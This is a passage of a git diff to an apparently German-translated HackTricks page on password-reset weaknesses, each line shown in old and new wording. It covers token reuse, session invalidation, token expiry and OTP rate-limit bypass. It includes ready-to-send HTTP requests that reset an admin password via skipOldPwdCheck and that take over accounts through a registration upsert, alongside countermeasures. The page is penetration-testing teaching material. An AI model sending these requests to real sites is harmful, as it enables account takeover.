- Überwache auf verdächtige Aktivitäten, die auf Brute-Force-Angriffe hindeuten.
|
||||
|
||||
## **Try Using Your Token**
|
||||
|
||||
- Testen, ob das reset token eines Angreifers zusammen mit der E-Mail des Opfers verwendet werden kann.
|
||||
- Testing if an attacker's reset token can be used in conjunction with the victim's email.
|
||||
- **Gegenmaßnahmen**:
|
||||
- Stellen Sie sicher, dass Tokens an die Benutzersession oder andere benutzerspezifische Attribute gebunden sind.
|
||||
- Stelle sicher, dass Tokens an die Benutzersession oder andere benutzerspezifische Attribute gebunden sind.
|
||||
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Sicherstellen, dass Sessions invalidiert werden, wenn ein Benutzer ausloggt oder sein Passwort zurücksetzt.
|
||||
- Ensuring that sessions are invalidated when a user logs out or resets their password.
|
||||
- **Gegenmaßnahmen**:
|
||||
- Implementieren Sie korrektes Session-Management und stellen Sie sicher, dass alle Sessions beim Logout oder password reset invalidiert werden.
|
||||
- Implementiere korrektes Session-Management und stelle sicher, dass alle Sessions beim Logout oder Passwort-Reset invalidiert werden.
|
||||
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Reset tokens sollten eine Ablaufzeit haben, nach der sie ungültig werden.
|
||||
- Reset-Tokens sollten eine Ablaufzeit haben, nach der sie ungültig werden.
|
||||
- **Gegenmaßnahmen**:
|
||||
- Setzen Sie eine angemessene Ablaufzeit für Reset-Tokens und erzwingen Sie diese strikt serverseitig.
|
||||
- Setze eine angemessene Ablaufzeit für Reset-Tokens und setze diese serverseitig strikt durch.
|
||||
|
||||
## **OTP rate limit bypass by changing your session**
|
||||
|
||||
- Wenn die Website die Benutzersession verwendet, um falsche OTP-Versuche zu verfolgen und das OTP schwach ist (<= 4 digits), kann das OTP effektiv per brute-force erraten werden.
|
||||
- Wenn die Website die Benutzersession verwendet, um falsche OTP-Versuche zu zählen, und das OTP schwach ist ( <= 4 Ziffern), kann man effektiv das OTP per Brute Force erraten.
|
||||
- **Ausnutzung**:
|
||||
- Fordern Sie einfach ein neues Session-Token an, nachdem Sie vom Server blockiert wurden.
|
||||
- **Beispiel** code, der diesen Bug ausnutzt, indem er das OTP zufällig errät (wenn Sie die Session ändern, ändert sich auch das OTP, und daher können wir es nicht sequentiell brute-forcen!):
|
||||
- Fordere nach Blockierung durch den Server einfach ein neues Session-Token an.
|
||||
- **Beispiel** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
||||
|
||||
``` python
|
||||
# Authentication bypass by password reset
|
||||
@ -233,7 +233,7 @@ print("[+] Attck stopped")
|
||||
|
||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||
|
||||
Einige Implementierungen exponieren eine password change action, die die password-change-Routine mit skipOldPwdCheck=true aufruft und keinen reset token oder Besitz verifiziert. Wenn der Endpoint einen action-Parameter wie change_password und einen username/new password im Request-Body akzeptiert, kann ein Angreifer beliebige Accounts pre-auth zurücksetzen.
|
||||
Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
|
||||
|
||||
Vulnerable pattern (PHP):
|
||||
```php
|
||||
@ -263,13 +263,26 @@ Content-Type: application/x-www-form-urlencoded
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
Gegenmaßnahmen:
|
||||
- Fordere immer ein gültiges, zeitlich begrenztes reset token, das an das account und die session gebunden ist, bevor ein password geändert wird.
|
||||
- Gib skipOldPwdCheck paths niemals für unauthenticated users frei; erzwinge authentication für reguläre password-Änderungen und überprüfe das old password.
|
||||
- Mache nach einer password-Änderung alle aktiven sessions und reset tokens ungültig.
|
||||
- Fordern Sie stets ein gültiges, zeitlich begrenztes Reset-Token, das an Account und Session gebunden ist, bevor ein Passwort geändert wird.
|
||||
- Öffnen Sie skipOldPwdCheck-Pfade niemals für nicht authentifizierte Benutzer; erzwingen Sie Authentifizierung bei regulären Passwortänderungen und prüfen Sie das alte Passwort.
|
||||
- Machen Sie nach einer Passwortänderung alle aktiven Sessions und Reset-Tokens ungültig.
|
||||
|
||||
## Registration-as-Password-Reset (Upsert on Existing Email)
|
||||
|
||||
Manche Anwendungen implementieren den Signup-Handler als upsert. Wenn die E-Mail bereits existiert, aktualisiert der Handler den Benutzer-Datensatz stillschweigend, anstatt die Anfrage abzulehnen. Akzeptiert der Registration-Endpoint einen minimalen JSON-Body mit einer vorhandenen E-Mail und einem neuen Passwort, wird er effektiv zu einem pre-auth password reset ohne jegliche Besitzverifikation und ermöglicht so eine vollständige account takeover.
|
||||
|
||||
Pre-auth ATO PoC (Überschreiben des Passworts eines bestehenden Benutzers):
|
||||
```http
|
||||
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||
Host: www.target.tld
|
||||
Content-Type: application/json
|
||||
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user